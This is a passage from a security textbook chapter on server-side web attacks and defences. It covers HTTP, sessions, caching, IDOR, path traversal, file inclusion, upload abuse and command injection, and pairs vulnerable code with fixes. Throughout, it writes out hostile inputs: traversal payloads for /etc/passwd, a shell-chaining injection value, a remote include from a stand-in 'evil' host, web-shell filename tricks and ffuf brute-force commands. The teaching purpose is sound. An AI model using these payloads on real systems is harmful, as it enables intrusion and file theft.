8. Web Security (Server Side)
This chapter covers how web applications work on the server and how that machinery is attacked and defended. It builds from the plumbing — HTTP, sessions, the layers between the browser and the application — through the canonical server-side vulnerability classes (injection, access-control failures, SSRF, deserialization) to the defensive patterns and the API/mobile back ends that now carry most traffic. The unifying theme is that every byte the client sends is attacker-controlled, so server-side security is the discipline of never trusting input and never confusing data with code.
<a id="81-web-architecture-and-attack-surface"></a>
8.1 Web Architecture and Attack Surface
Before you can attack or defend a web application, you have to see it clearly: what travels over the wire, what each moving part is responsible for, and where trust boundaries sit. This section maps that terrain.
HTTP Request and Response Anatomy
Theory
The web runs on a conversation so simple you can type it by hand: the client sends a request, the server sends back a response, and the connection is, in principle, forgotten afterwards. Understanding security starts with understanding that this conversation is plain text (until TLS wraps it) and that the client writes every word of the request. The server receives a blob of bytes that merely claims to come from a browser; nothing about the method, the path, the headers, or the body is trustworthy until the server validates it.
A request has four parts: a request line (method, path, HTTP version), a set of headers (key-value metadata like Host, Cookie, Content-Type), a blank line, and an optional body (form data, JSON, an uploaded file). The response mirrors this shape: a status line (version, numeric status code, reason phrase), response headers (Set-Cookie, Content-Type, security headers), a blank line, and the body (HTML, JSON, bytes). The blank line is load-bearing — it is the only delimiter between headers and body, which is exactly why header-parsing ambiguities turn into serious vulnerabilities later (see request smuggling).
Why does this matter beyond trivia? Because almost every web attack is just an unusual but legal request. A path-traversal payload is a weird path; SQL injection is a weird parameter value; a smuggling attack is a weird pair of length headers. If you can read and hand-craft the raw request, you can reason about what the server will do with each field — and that is the whole game.
Examples
REQUEST RESPONSE
POST /login HTTP/1.1 HTTP/1.1 302 Found
Host: shop.example Location: /dashboard
Content-Type: application/x-www-form... Set-Cookie: session=ab12..; HttpOnly
Content-Length: 29 Content-Type: text/html; charset=utf-8
Content-Length: 0
user=alice&pass=hunter2 <blank line, then body>
^request line / headers / blank / body ^status line / headers / blank / body
# See the raw exchange, headers and all. -v prints the request and response lines.
curl -v https://shop.example/login \
-d 'user=alice&pass=hunter2' # -d sets a POST body and Content-Type for you
# Craft a request completely by hand to control every byte (note the trailing CRLFs).
printf 'GET / HTTP/1.1\r\nHost: shop.example\r\nConnection: close\r\n\r\n' \
| openssl s_client -quiet -connect shop.example:443 # TLS, then raw HTTP
Key Takeaways
- An HTTP message is request/status line, headers, a blank line, then an optional body; the blank line is the sole header/body delimiter.
- The client controls the entire request — method, path, headers, body — so none of it is trustworthy until validated server-side.
- Most web attacks are syntactically valid requests with malicious field values, not malformed packets.
- Being able to read and craft raw HTTP (via
curl -v,openssl s_client, or a proxy) is the foundational skill for the rest of this chapter.
🧪 Practice
- Capture a login request in your browser's dev tools and label each of its four parts (request line, headers, blank line, body).
- Use
curl -vagainst any site and identify three response headers and what each one does.- Hand-craft a raw
GETrequest withprintf/openssl s_clientand explain why theHostheader is mandatory in HTTP/1.1.- Interview-style: "Why is it unsafe for a server to trust the
Content-Lengtha client sends?" Hint: think about what happens if the declared length disagrees with the bytes actually sent, especially across two servers in a chain.
Methods, Status Codes, and Headers
Theory
HTTP gives requests a verb (the method) that states intent. GET retrieves, POST submits, PUT replaces, PATCH partially updates, DELETE removes, and HEAD/OPTIONS ask for metadata. Two properties matter for security: safe methods (like GET) are supposed to have no side effects, and idempotent methods produce the same result when repeated. Developers who put state changes behind GET requests break this contract — and that single mistake is what makes many CSRF and cache-poisoning bugs possible, because GETs are logged, cached, prefetched, and trivially triggered from a link.
Status codes are the server's three-digit summary of what happened: 2xx success, 3xx redirection, 4xx client error, 5xx server error. They are a security signal in both directions. For an attacker, the difference between 401, 403, 404, and 200 leaks whether a resource exists and whether they are merely unauthenticated versus forbidden — useful for enumeration. For a defender, a burst of 500s can mean someone is fuzzing injection payloads, and a 403 spike can mean an access-control probe.
Headers are the extensible metadata channel, and they are where much of web security actually lives. Request headers like Host, Cookie, Authorization, X-Forwarded-For, and Referer are all attacker-controllable and routinely abused (Host-header injection, header-based auth bypass, IP spoofing in logs). Response headers like Set-Cookie, Content-Type, Content-Security-Policy, and Strict-Transport-Security are the levers defenders pull. The guiding rule: treat every inbound header as untrusted input, and set every security-relevant outbound header explicitly rather than relying on defaults.
Examples
| Code | Meaning | What it tells an attacker |
|---|---|---|
| 200 | OK | The request worked; content follows |
| 301/302 | Redirect | Often a login/authz gate; follow the Location |
| 401 | Unauthorized | Not authenticated — credentials needed |
| 403 | Forbidden | Authenticated but not allowed — resource likely exists |
| 404 | Not Found | Resource (probably) does not exist |
| 429 | Too Many Requests | Rate limiting is active |
| 500 | Server Error | An unhandled exception — fertile ground for injection |
# Enumerate allowed methods on an endpoint (misconfig if PUT/DELETE are open).
curl -s -X OPTIONS https://api.example/v1/users -i | grep -i '^Allow:'
# Distinguish 'exists but forbidden' (403) from 'absent' (404) during recon.
for p in /admin /admin/ /.git/config /backup.zip; do
printf '%s -> ' "$p"; curl -s -o /dev/null -w '%{http_code}\n' "https://x.example$p"
done
Key Takeaways
- Methods carry intent;
GETmust be safe/idempotent, and state-changingGETs invite CSRF, caching, and prefetch bugs. - Status codes leak existence and authorization state (401 vs 403 vs 404), which attackers use for enumeration and defenders use for detection.
- All request headers are attacker-controlled (
Host,X-Forwarded-For,Referer), so none may be trusted for security decisions without verification. - Security-relevant response headers must be set explicitly and consistently, never left to framework defaults.
🧪 Practice
- List which HTTP methods are safe, which are idempotent, and give one example where confusing the two causes a bug.
- Design a probe that uses status codes alone to decide whether
/adminexists but is protected, versus does not exist.- Explain why trusting
X-Forwarded-Forfor rate limiting or access control is dangerous, and what a correct approach looks like.- Interview-style: "An endpoint returns 403 for
/users/1/profilebut 404 for/users/9999/profile. What have you just learned?" Hint: the two different codes are themselves an information leak about which IDs are real.
Sessions, Cookies, and State Management
Theory
HTTP is stateless: the server does not inherently remember that the request before this one was also "alice." To build anything with a login, the application must bolt state onto a stateless protocol. The classic mechanism is the session: on login the server generates a long, unguessable session identifier, stores the associated state (who you are, your cart) server-side, and hands the ID back to the browser in a cookie. Every later request carries that cookie, and the server looks up the state. The cookie is therefore a bearer token — whoever holds it is treated as the user, which is why its secrecy and integrity are everything.
Cookies have attributes that are really security controls. HttpOnly hides the cookie from JavaScript, blunting theft via XSS. Secure forbids sending it over plain HTTP. SameSite (Lax/Strict/None) controls whether the cookie rides along on cross-site requests, which is the primary structural defense against CSRF. Domain and Path scope where the cookie is sent, and Expires/Max-Age control lifetime. Getting these attributes wrong is one of the most common real-world findings, because the defaults are lenient and the failure is invisible until exploited.
There is a second model: stateless (token) sessions, where the server stores nothing and instead issues a signed token (commonly a JWT) that contains the claims. This trades server memory for a new problem — you can no longer simply "delete" a session server-side, so revocation and expiry become hard design questions. Both models are legitimate; the security work is different. Server-side sessions must protect the ID and the store; token sessions must protect the signing key and validate the token rigorously (covered in 8.6).
Examples
Stateful session (server remembers) Stateless token (client carries state)
login -> Set-Cookie: sid=RANDOM login -> returns signed JWT
server store: { RANDOM: {user:alice} } server stores NOTHING
each req: Cookie: sid=RANDOM --> lookup each req: Authorization: Bearer <jwt>
revoke = delete key in store (easy) revoke = hard (must track a denylist)
Set-Cookie: session=9f8a...e1; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
# HttpOnly -> JS cannot read it (mitigates XSS theft)
# Secure -> sent only over HTTPS
# SameSite -> not sent on cross-site POSTs (CSRF defense)
# Max-Age -> expires in 1 hour, limiting the theft window
# Flask: generate a cryptographically strong session id, not a predictable one.
import secrets
session_id = secrets.token_urlsafe(32) # 256 bits of entropy; infeasible to guess
# Store server-side keyed by session_id; set it with the attributes shown above.
Key Takeaways
- Sessions add state to stateless HTTP; the session cookie is a bearer token, so its secrecy and integrity equal account security.
HttpOnly,Secure, andSameSiteare security controls, not conveniences — set them explicitly on every session cookie.- Session IDs must be long and generated with a CSPRNG; predictable IDs mean account takeover by guessing.
- Stateful sessions make revocation easy but require a secure store; stateless tokens remove the store but make revocation and expiry the hard problem.
🧪 Practice
- Inspect a real session cookie and list which of
HttpOnly,Secure,SameSiteare set; state the risk of each missing one.- Explain how
SameSite=Laxstructurally prevents most CSRF, and name a case it does not cover.- Contrast revocation in server-side sessions versus JWTs and describe one mitigation for the JWT case.
- Interview-style: "An app stores the session token in
localStorageinstead of anHttpOnlycookie. What does that trade away?" Hint: consider which attackHttpOnlyblocks and whetherlocalStorageis reachable by the same code.
Server-Side Rendering and Template Engines
Theory
Most web pages are not static files; they are assembled at request time by combining a template (fixed HTML skeleton with placeholders) and data (the user's name, a product list). A template engine — Jinja2, Twig, Freemarker, ERB, Handlebars — performs this substitution. Understanding it matters because the moment you mix trusted template text with untrusted data, you create a boundary that, if blurred, becomes an injection vulnerability.
The crucial distinction is between data in a template and the template itself. Rendering a value into a placeholder is normal and safe when the engine auto-escapes output for the target context. The danger appears when user input is concatenated into the template string that is then compiled. Then the user is no longer supplying data — they are supplying template code, which the engine will dutifully execute. That is Server-Side Template Injection (SSTI), and depending on the engine it can escalate to full remote code execution (covered in depth in 8.2).
The defensive mental model is "data goes through the front door, never the keyhole." You pass user data as a parameter to a pre-defined template; you never build the template text out of user data. The same engines also provide auto-escaping, which HTML-encodes substituted values so that <script> becomes inert text rather than live markup — this is the primary server-side defense against reflected XSS, and disabling it ("raw"/"safe" filters) must be a deliberate, reviewed choice.
Examples
# SAFE: user data is passed as context; the engine escapes it for HTML output.
from jinja2 import Environment, select_autoescape
env = Environment(autoescape=select_autoescape(['html']))
tmpl = env.from_string("<h1>Hello {{ name }}</h1>") # template is a fixed string
html = tmpl.render(name=user_input) # user_input lands in the {{ }} slot, escaped
# DANGEROUS: user input becomes part of the template source -> SSTI.
tmpl = env.from_string("<h1>Hello " + user_input + "</h1>") # NEVER do this
# If user_input is "{{ 7*7 }}" the page shows 49 -> the engine executed it.
Safe flow: [ fixed template ] + {{ slot <- user data (escaped) }} = HTML
Unsafe flow: [ template text built FROM user data ] -> engine COMPILES attacker input
Key Takeaways
- Server-side rendering merges a fixed template with runtime data via a template engine; the trust boundary is template-text (trusted) versus data (untrusted).
- Passing user input as template context is safe; concatenating it into the template source causes SSTI, which can reach RCE.
- Auto-escaping encodes substituted values for the output context and is the main server-side defense against reflected XSS.
- Disabling escaping ("raw"/"safe") must be rare, deliberate, and reviewed, because it reopens the XSS channel.
🧪 Practice
- Rewrite an unsafe
from_string("..." + user_input)call into a safe context-passing form.- Explain the difference between rendering data into a template and compiling a template built from data.
- Find out whether your preferred template engine auto-escapes by default, and how its "raw" filter is spelled.
- Interview-style: "A page reflects your input
{{7*7}}as49. What class of bug is this and what is the worst case?" Hint: the server evaluated an expression you supplied — what else can that expression reach?
Web Server and Application Server Roles
Theory
"The server" is usually several programs with different jobs, and attacks often exploit the seams between them. The web server (nginx, Apache httpd, IIS) terminates connections, speaks HTTP/TLS, serves static files, and reverse-proxies dynamic requests onward. The application server (Gunicorn/uWSGI for Python, Tomcat for Java, Node's runtime, PHP-FPM) runs your actual code and produces dynamic responses. Keeping these separate is good engineering — the web server is hardened for the hostile internet, the app server focuses on business logic — but it introduces a trust relationship between them that attackers target.
The classic seam issue is inconsistent parsing. The front web server and the back app server may disagree about where a request ends, how a path is normalized, or what an ambiguous header means. Those disagreements are the raw material of request smuggling and of path-normalization bypasses (the proxy thinks the path is /public/... and allows it; the app server resolves .. and reads /admin). A second seam is trust by position: the app server often assumes "if a request reached me, the proxy already authenticated/filtered it," so anything that reaches the app server directly (a leaked internal port, SSRF) bypasses those front-door controls.
For defenders, the lesson is to treat the boundary explicitly: pin down one canonical parser, strip or normalize ambiguous headers at the edge, never let the app server be reachable except via the proxy, and never assume the proxy has done validation the app server also needs. For attackers, the boundary is where you look first when the application layer seems locked down.
Examples
Internet ──▶ nginx (web server) ──▶ Gunicorn (app server) ──▶ your Python code
- TLS termination - runs WSGI app
- serves /static/* - business logic
- reverse proxy - assumes nginx filtered the request <-- risky
▲ parsing + normalization happens here AND there (disagreement = bug)
# nginx reverse proxy: static served directly, everything else to the app server.
location /static/ { root /var/www; } # fast path, no app code involved
location / {
proxy_pass http://127.0.0.1:8000; # app server MUST only be reachable here
proxy_set_header Host $host; # forward context explicitly, deliberately
proxy_set_header X-Forwarded-For $remote_addr; # app must treat this as untrusted!
}
Key Takeaways
- A "server" is typically a web server (TLS, static files, reverse proxy) plus an application server (your code); attacks target the seam between them.
- Inconsistent request parsing/normalization between the two enables request smuggling and path-normalization authorization bypasses.
- The app server must not assume the proxy validated the request, and must never be directly reachable from the internet.
- Headers the proxy adds (like
X-Forwarded-For) are still attacker-influenced and must be handled as untrusted downstream.
🧪 Practice
- Draw the request path for a dynamic page in a typical nginx + app-server deployment and label each component's job.
- Explain how a difference in path normalization between proxy and app server can bypass an authorization rule.
- Describe why binding the app server to
0.0.0.0instead of127.0.0.1can be a critical misconfiguration.- Interview-style: "The front proxy blocks
/admin, yet an attacker reaches admin functionality. Give two architectural explanations." Hint: either the request never went through the proxy, or the two tiers disagree about what the path is.
Proxies, Load Balancers, and Caching Layers
Theory
Real deployments put several intermediaries between the browser and your code: forward proxies (on the client side), reverse proxies and load balancers (distributing traffic across app instances), CDNs, and caches. Each exists for performance or availability, but each also sees, stores, or rewrites traffic — so each is a security-relevant component. A useful mental model: every hop is another parser and another place where a copy of the response may be kept.
Caching is the richest source of subtle bugs. A cache stores a response keyed by some subset of the request (typically method + URL) and replays it to later clients. If the response actually depended on something not in the cache key — a cookie, an Authorization header, a weird header the app reflects — then the cache can serve one user's private content to everyone (web cache deception) or let an attacker plant a malicious response that others then receive (cache poisoning). The Vary header and careful cache-key design are the controls here; getting them wrong leaks data at scale.
Load balancers and reverse proxies also concentrate trust. They often add headers (X-Forwarded-For, X-Forwarded-Proto), terminate TLS (so traffic behind them may be plaintext), and may be the only component that sees the real client IP. Attackers abuse this by spoofing forwarded headers if the app trusts them, or by finding paths that reach the origin directly and skip the balancer's rules (DDoS protection, WAF). The design principle is to decide, per header and per rule, exactly which hop is authoritative and to make downstream components neither duplicate nor blindly trust that decision.
Examples
Browser ─▶ CDN/cache ─▶ reverse proxy / LB ─▶ app instance(s)
│ │ adds X-Forwarded-* ▲ may be plaintext behind TLS term
│ └─ WAF rules live here └ must not trust XFF blindly
└─ stores responses keyed by (method,URL) -> key design is a security control
Web cache poisoning in one picture:
1. attacker sends: GET /page X-Unkeyed: evil (header NOT in cache key, but reflected)
2. app reflects X-Unkeyed into the response body
3. cache stores that poisoned response under key GET /page
4. every later visitor to /page receives the attacker's content
Fix: do not reflect unkeyed input; add it to Vary or the cache key; or do not cache.
Key Takeaways
- Every intermediary (proxy, LB, CDN, cache) sees or rewrites traffic and is therefore a security-relevant component, not just a performance detail.
- Caches serve a stored response to many clients; if the response depends on something outside the cache key, you get cache deception or poisoning.
Varyand deliberate cache-key design control what is safe to cache; private/authenticated responses generally must not be cached.- Decide which hop is authoritative for each forwarded header and each rule; downstream tiers must not blindly trust or silently duplicate that decision.
🧪 Practice
- Explain, with the cache key in mind, how caching an authenticated page could leak one user's data to another.
- Describe cache poisoning via an unkeyed, reflected header and two ways to prevent it.
- Identify what
X-Forwarded-Foris for and why an app behind a load balancer must still treat it as untrusted unless the edge strips/sets it.- Interview-style: "Your WAF and DDoS protection sit at the CDN, yet attacks hit the app directly. What has likely gone wrong?" Hint: the origin is reachable without going through the edge — think about IP exposure and allowlisting.
Mapping the Application Attack Surface
Theory
You cannot secure or test what you have not enumerated. Attack-surface mapping is the disciplined inventory of every place where attacker-controlled input meets application logic: every route, parameter, header, cookie, file-upload field, API endpoint, and third-party integration. The "why" is simple — vulnerabilities live at input points, and the ones you forget to map are precisely the ones that stay unprotected. Attackers do this enumeration methodically; defenders must do it at least as well.
Mapping has two modes. Passive discovery observes without touching the target aggressively: reading the site's own JavaScript for API routes, pulling URLs from search engines and archives, inspecting robots.txt, sitemap.xml, and certificate transparency logs for subdomains. Active discovery probes directly: crawling the application, brute-forcing directories and parameters with wordlists, fuzzing for hidden endpoints, and fingerprinting technologies. Active discovery is louder and, against systems you do not own, requires authorization — surface mapping is reconnaissance, and reconnaissance against third parties without permission is an offense.
The output is an inventory with trust annotations: for each input point, what reaches it, what authentication/authorization gates it, and what the code does with the input. This inventory drives everything downstream — threat modeling, test coverage, and prioritization. A mature team keeps it current automatically, because every new endpoint is new surface, and surface that nobody is watching is where the next breach begins.
Examples
# Passive-ish discovery: pull historical URLs and subdomains (your own scope only).
curl -s 'https://web.archive.org/cdx/search/cdx?url=example.com*&output=text&fl=original' \
| sort -u # historical paths/params to review
# Active content discovery with a wordlist (authorized targets only).
ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,403
# ^ FUZZ marker ^ wordlist ^ show only interesting codes
# Parameter discovery: find hidden query params the app silently honors.
ffuf -u 'https://example.com/item?FUZZ=test' -w params.txt -fs 1234 # -fs filters size
Attack-surface inventory (excerpt):
Endpoint Method Auth? Input sinks Notes
/api/v1/users/{id} GET Bearer path id -> DB lookup IDOR candidate
/upload POST session file, filename path traversal + upload abuse
/render?tpl= GET none tpl -> template engine SSTI candidate
Key Takeaways
- Attack-surface mapping is the exhaustive inventory of input points (routes, params, headers, cookies, uploads, integrations); unmapped surface stays unprotected.
- Passive discovery (JS, archives, CT logs,
robots.txt) is quiet; active discovery (crawling, fuzzing, brute-forcing) is loud and needs authorization on third-party targets. - The deliverable is an inventory annotated with trust: what reaches each point, what gates it, and what the code does with the input.
- Surface changes with every deployment, so the inventory must be kept current — ideally automatically — or coverage silently decays.
🧪 Practice
- For a web app you own, enumerate every route and classify each input point by its sink (DB, filesystem, template, shell, HTTP client).
- Compare passive versus active discovery and give one legal/ethical constraint that applies to active scanning of third parties.
- Use a content-discovery tool against your own test app and explain how status-code and size filtering reduce noise.
- Interview-style: "You have one hour to map an unfamiliar web app's attack surface. What do you look at first and why?" Hint: the app tells on itself — its own client-side code usually lists the endpoints it talks to.
<a id="82-web-attacks"></a>
8.2 Web Attacks
This section is a tour of the canonical server-side vulnerability classes. Each follows the same underlying failure — untrusted input crossing a boundary it should not — but the boundary differs, and so does the exploitation and the fix.
OWASP Top 10 Overview
Theory
The OWASP Top 10 is a periodically updated, community-driven list of the most critical web application security risks. Its purpose is not to be exhaustive but to be a shared vocabulary and priority list — a way for developers, testers, and managers to agree on what to worry about first. Treat it as a map of where real breaches cluster, derived from aggregated vulnerability data, not as a compliance checklist you can mechanically tick off.
A key conceptual shift in recent editions is that the categories are increasingly root-cause oriented rather than symptom-oriented. "Broken Access Control" and "Cryptographic Failures" describe why things go wrong, which is more useful than naming a single bug. The list also folds related issues together: "Injection" now spans SQL, command, LDAP, and cross-site scripting, because they share one root cause — mixing untrusted data into an interpreter's instructions.
The practical value for you is prioritization and coverage. When you threat-model an application, walking the Top 10 ensures you at least ask the right questions: Is access control enforced server-side on every object? Are secrets and transport encrypted correctly? Is every injection sink parameterized? Is the design itself flawed (the "Insecure Design" category reminds you that some bugs cannot be patched because they are architectural)? The rest of this section drills into the categories that dominate server-side work.
Examples
| Category (recent OWASP) | Root cause | Representative bug |
|---|---|---|
| Broken Access Control | Missing/!enforced authz | IDOR, forced browsing |
| Cryptographic Failures | Weak/absent crypto | plaintext secrets, no TLS |
| Injection | Data treated as code | SQLi, command injection, XSS |
| Insecure Design | Flawed by architecture | missing rate limit, trust in client |
| Security Misconfiguration | Unsafe defaults left on | debug mode, open admin |
| Vulnerable Components | Outdated dependencies | known-CVE library |
| Identification/Auth Failures | Weak login/session | credential stuffing, weak session IDs |
| Software/Data Integrity | Unverified updates/data | insecure deserialization |
| Logging/Monitoring Failures | Can't see attacks | no alerting on 500 spikes |
| SSRF | Server fetches attacker URL | internal metadata theft |
Common thread across half the list:
untrusted input ──▶ [ boundary ] ──▶ interpreter / object / resource
the fix is almost always: keep data as data, enforce authz server-side.
Key Takeaways
- The OWASP Top 10 is a prioritized, data-derived list of risk categories — a shared vocabulary, not an exhaustive or compliance checklist.
- Recent editions are root-cause oriented (e.g., "Broken Access Control") and group related bugs (all injection together).
- Use it to drive coverage during threat modeling: it tells you which questions to ask first.
- Several categories share one root cause — untrusted data crossing a boundary — so the same disciplines (validation, parameterization, server-side authz) address many at once.
🧪 Practice
- Map three vulnerabilities you have seen or read about to their OWASP Top 10 categories.
- Explain why "Broken Access Control" is a better category name than listing "IDOR" alone.
- Pick one category and write two threat-model questions it prompts you to ask about an app.
- Interview-style: "Why is 'Insecure Design' a separate category from 'Security Misconfiguration'?" Hint: one is a flaw you can fix by changing a setting; the other you cannot patch without redesigning.
Broken Access Control and IDOR
Theory
Access control answers "is this specific user allowed to do this specific thing to this specific object?" It is the most common and most damaging category of web bug, because it is enforced per-request, per-object, and the code is easy to forget on some path. The failure mode is almost always the same: the server authenticates you (knows who you are) but fails to authorize you (check what you may touch), trusting instead some attacker-controllable hint about your rights.
IDOR (Insecure Direct Object Reference) is the flagship example. The app exposes a direct handle to an object — /invoice?id=1043 — and decides what to show based solely on that ID, without checking that the invoice belongs to the logged-in user. Change 1043 to 1044 and you read someone else's invoice. The deeper lesson is that object references in requests are attacker-controlled, so ownership must be verified server-side on every access, not assumed because the UI only ever showed you your own links.
Access control fails in several recurring shapes: horizontal (accessing another user's data at the same privilege level, like IDOR), vertical (a normal user reaching admin functionality, via forced browsing to /admin or calling an admin API directly), and context-dependent (skipping a step in a multi-stage flow). The non-negotiable principle is deny by default, enforce server-side: every request re-verifies identity and authorization against the actual target object, and the client is never trusted to hide, disable, or omit the thing it should not reach.
Examples
# VULNERABLE: returns the invoice for ANY id, no ownership check (IDOR).
@app.get("/invoice/<int:iid>")
def invoice(iid):
return db.invoices.get(iid) # attacker increments iid to read others'
# FIXED: scope every lookup to the authenticated user; deny by default.
@app.get("/invoice/<int:iid>")
@login_required
def invoice(iid):
inv = db.invoices.get(iid)
if inv is None or inv.owner_id != current_user.id:
abort(404) # 404 (not 403) avoids confirming existence
return inv
Horizontal: /invoice?id=1043 -> change to 1044 (another user, same level)
Vertical: user forces GET /admin/users (normal user -> admin function)
Fix pattern: authorize(current_user, action, target_object) on EVERY request.
Key Takeaways
- Access control is per-user, per-object, per-request authorization; forgetting it on any path is the most common serious web bug.
- IDOR exploits direct object references (
?id=) by changing them, because ownership was never verified server-side. - Failures come as horizontal (peer data), vertical (privilege escalation), and context-dependent (skipped steps).
- Enforce deny-by-default authorization server-side against the real target object; never rely on hidden UI, obscure IDs, or client-side checks.
🧪 Practice
- Given
/orders/{id}, write the server-side check that prevents a user from reading another user's order.- Explain the difference between horizontal and vertical access-control failures with one example each.
- Argue for or against returning
404instead of403when a user requests an object they do not own.- Interview-style: "Replacing sequential IDs with UUIDs 'fixes' IDOR. True or false, and why?" Hint: unguessable identifiers raise the bar but do not perform an authorization check — leaks still expose the UUIDs.
Path Traversal and Local File Inclusion
Theory
Many applications build a filesystem path from user input: a download endpoint that reads files/<name>, an image server, a template loader. Path traversal (directory traversal) abuses the fact that .. means "parent directory." If the app concatenates user input into a path without normalizing and confining it, an attacker supplies ../../../../etc/passwd and walks out of the intended directory to read arbitrary files. The root cause is treating a filename as a safe token when it is actually an untrusted path expression.
Local File Inclusion (LFI) is path traversal's more dangerous cousin, specific to languages/frameworks that include and execute a file chosen by user input (classically PHP's include($_GET['page'])). Here the attacker does not merely read a file — they can get the server to interpret one. If they can also get attacker-controlled content into a file the server will include (a log entry, an uploaded avatar, a session file), LFI escalates to code execution. Even without that, LFI can disclose source code and secrets, which is often enough.
Defenses layer. First, prefer not to put user input into paths at all — map an opaque identifier to a known file server-side ({"report1": "/data/r1.pdf"}). When you must use input, canonicalize then verify: resolve the real absolute path and confirm it still sits inside the intended base directory before opening it. Strip or reject traversal sequences and absolute paths, and remember that attackers encode them (%2e%2e%2f, ..%c0%af, double-encoding) to slip past naive filters — which is exactly why allowlisting and post-canonicalization confinement beat blocklisting.
Examples
import os
BASE = "/srv/files"
# VULNERABLE: user controls the path; "../../etc/passwd" escapes BASE.
def download(name):
return open(os.path.join(BASE, name)).read()
# FIXED: canonicalize, then confirm the result is still inside BASE.
def download(name):
full = os.path.realpath(os.path.join(BASE, name)) # resolves .. and symlinks
if not full.startswith(BASE + os.sep): # confinement check
raise PermissionError("path escapes base directory")
return open(full).read()
Payload evolution (why blocklists fail):
../../../../etc/passwd plain
..%2f..%2f..%2fetc%2fpasswd URL-encoded slashes
%2e%2e%2f%2e%2e%2f... encoded dots and slashes
....//....// filter strips "../" once -> this survives
Robust fix: realpath() + "is it still under BASE?" (not string filtering)
Key Takeaways
- Path traversal uses
..(and encoded variants) to escape an intended directory and read arbitrary files. - LFI additionally executes an included file, and can reach RCE if the attacker controls content of any includable file.
- Best defense is to avoid user input in paths — map opaque IDs to known files server-side.
- When input must be used, canonicalize with
realpathand verify containment under the base; blocklisting encoded..is fragile.
🧪 Practice
- Write a safe file-download function that confines all access under a fixed base directory.
- Give three encodings of
../and explain why a single-pass filter can be bypassed.- Describe one scenario where LFI escalates from file disclosure to remote code execution.
- Interview-style: "A filter removes the string
../. Why is....//a problem?" Hint: think about what the string looks like after the filter runs exactly once.
Remote File Inclusion and File Upload Abuse
Theory
Remote File Inclusion (RFI) is LFI pointed at the network: the application includes a file from a URL the attacker controls (include("http://evil/shell.txt")), so the server fetches and executes attacker-hosted code outright. It is rarer now because modern configurations disable remote includes by default, but where it exists it is instant remote code execution. The lesson generalizes: any feature that fetches-and-interprets a user-supplied location is a loaded gun.
File upload abuse is the broader, ever-present risk. Uploads are necessary (avatars, documents), but an uploaded file is attacker-controlled content that the server now stores and may later serve or process. The worst case is uploading a file the server will execute — a .php, .jsp, or .aspx web shell dropped into a web-accessible directory, giving the attacker a command interface. Even non-executable uploads cause harm: malicious SVGs carry script, crafted images exploit parser bugs, huge files exhaust disk, and a poisoned filename enables path traversal into a sensitive location.
Defense is layered because no single check suffices. Validate type by content, not just extension or the client-supplied Content-Type (both are forgeable). Store uploads outside the web root or on a separate domain with execution disabled, and serve them through a handler that sets a safe Content-Type and Content-Disposition. Generate a new, random filename server-side so the attacker cannot choose the path or extension. Add size limits, re-encode images to strip embedded payloads, and scan where appropriate. The structural win is ensuring an uploaded file can never be interpreted as code by the server.
Examples
// RFI (legacy, dangerous): if allow_url_include is on, this runs remote code.
include($_GET['page'] . ".php"); // ?page=http://evil/shell -> RCE
// Upload hardening sketch (PHP-style pseudocode):
$ok = ['image/png' => 'png', 'image/jpeg' => 'jpg'];
$mime = mime_content_type($tmp); // inspect CONTENT, not the name/header
if (!isset($ok[$mime])) reject();
$name = bin2hex(random_bytes(16)) . '.' . $ok[$mime]; // server-chosen name+ext
move_uploaded_file($tmp, "/var/uploads/$name"); // OUTSIDE the web root
// Serve later via a script that forces: Content-Type + Content-Disposition: attachment
Why "check the extension" is not enough:
shell.php.jpg double extension tricks some servers
shell.pHp case tricks a naive == ".php"
shell.php%00.jpg null-byte truncation (old stacks)
evil.svg "image" that contains <script>
Robust: content-type sniffing + random name + non-executable storage location.
Key Takeaways
- RFI makes the server fetch and execute an attacker-hosted file — direct RCE; disable remote includes entirely.
- Any uploaded file is attacker-controlled content; the worst outcome is uploading something the server will execute (web shell).
- Validate type by inspecting content, never by trusting the extension or client
Content-Type, and assign a server-generated random filename. - Store uploads outside the web root (or on an execution-disabled domain) and serve via a handler that forces a safe content type — so uploads can never run as code.
🧪 Practice
- List four ways an attacker disguises an executable upload and the single storage decision that neutralizes all of them.
- Explain why trusting the
Content-Typeheader on an upload is unsafe, and what to check instead.- Describe why serving user uploads from a separate domain improves security beyond just disabling execution.
- Interview-style: "Uploads are validated to be images by extension and stored under
/var/www/uploads/. Why is this still exploitable?" Hint: extension checks are forgeable and the directory is web-accessible — what happens if a.phpslips through?
OS Command Injection
Theory
OS command injection happens when an application builds a shell command out of user input and hands it to the operating system. The vulnerability is not that the app runs commands — plenty legitimately do — but that it lets user data become part of the command syntax. The shell is an interpreter, and characters like ;, |, &&, $(...), and backticks are its control operators. If untrusted input reaches the shell unseparated from the command, the attacker injects their own commands into your process's privileges.
The mental model is identical to SQL injection: there is a trusted instruction (the command) and untrusted data (the argument), and the bug is concatenating them into one string that an interpreter then parses. ping -c1 <host> is fine until host is 8.8.8.8; cat /etc/passwd, at which point the shell sees two commands. Because the injected command runs as the web process, impact ranges from file disclosure to full server takeover, often as the first step toward persistence.
The decisive defense is to avoid the shell entirely: use APIs that execute a program with an explicit argument array, so the OS treats each element as a single argument with no re-parsing of metacharacters. In Python that is subprocess.run([...], shell=False); in Java, ProcessBuilder with a list; in Node, execFile/spawn with an args array rather than exec. Where you truly must build a command line, pass user data only as data and validate it against a strict allowlist (e.g., it must match a hostname regex). Blocklisting dangerous characters is a losing game against encoding and shell quirks.
Examples
import subprocess
# VULNERABLE: user input is parsed by the shell (shell=True builds one string).
def ping(host):
return subprocess.run(f"ping -c1 {host}", shell=True, capture_output=True)
# host = "8.8.8.8; cat /etc/passwd" -> two commands run
# FIXED: no shell; each list element is one argument, metacharacters are inert.
def ping(host):
if not re.fullmatch(r"[A-Za-z0-9.\-]+", host): # allowlist valid hostnames
raise ValueError("invalid host")
return subprocess.run(["ping", "-c1", host], shell=False, capture_output=True)
Shell metacharacters that chain or substitute commands:
; run next | pipe && run if success || run if fail
$(…) command subst `…` command subst > redirect & background
Argument-array execution (shell=False) removes ALL of these from play.
Key Takeaways
- Command injection is concatenating untrusted input into a shell command; shell metacharacters then let the attacker run their own commands.
- Impact is severe — code runs with the web process's privileges, a direct path to server takeover.
- The real fix is to avoid the shell: execute with an explicit argument array (
shell=False,ProcessBuilder(list),execFile). - If a command line is unavoidable, treat user input as data only and validate against a strict allowlist; never rely on blocklisting characters.
🧪 Practice
- Rewrite a
shell=Truecall that pings a user-supplied host into a safe argument-array form.- List five shell metacharacters and what each does to chain or substitute commands.
